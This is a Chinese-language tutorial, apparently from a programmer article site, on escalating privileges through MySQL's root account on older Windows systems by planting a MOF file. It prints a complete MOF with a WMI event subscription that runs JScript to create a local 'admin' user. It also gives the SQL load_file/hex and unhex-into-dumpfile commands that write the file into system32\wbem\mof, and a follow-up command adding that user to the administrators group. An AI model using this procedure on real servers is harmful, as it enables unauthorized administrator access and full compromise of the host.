欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

mysql数据库提权之——MOF提权

程序员文章站 2022-05-15 20:15:09
...

前题

只能在windows使用,应用范围:2008以下的系统,Mysql5.7以下(--secure_file_prive:此配置写文件不限制)

介绍

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡

条件

mysql服务器配置允许root用户远程连接

原理

当mysql有了root权限以后,就可使用root权限去上传一个mof,隔一定时间以后这个mof就会被执行,这个mof当中可以写一段vbs脚本,这个vbs内容是cmd的添加管理员用户的命令
mof文件通过Mofcomp.exe编译执行

提权过程

1.远程连接数据库
命令行连接:mysql -h 要连接的mysql服务器ip -u root -p
Navicat连接(此处使用): 点击连接,输入要连接的mysql服务器ip,用户为root,密码数据库密码

mysql数据库提权之——MOF提权

2.编写mof文件

nullevt.mof文件内容如下,之后在net.exe user admin admin /add处替换命令即可

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

3. 上传mof文件

上传路径:C:\WINDOWS\system32\wbem\mof

上传:直接上传没有权限,可通过mysql语句写入
3.1 以二进制读取mof文件内容,并将结果转为十六进制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\nullevt.mof")) into dumpfile'C:\\Users\\Administrator\\Desktop\\333.txt' ;

mysql数据库提权之——MOF提权
3.2 Navicat新建查询处输入以下命令,111替换为刚刚的16进制字符串

select unhex ('111') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\nullevt.mof';

mysql数据库提权之——MOF提权

4.过一会mof文件里的命令就会自动执行,生成一个admin用户

5.修改mof文件,替换以下命令,重复步骤3上传,将admin添加到管理员组
mof替换命令:net.exe localgroup administrators admin /add

mysql数据库提权之——MOF提权

6.此处手动查看admin用户状态,进行结果检验

mysql数据库提权之——MOF提权

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

相关标签: 后渗透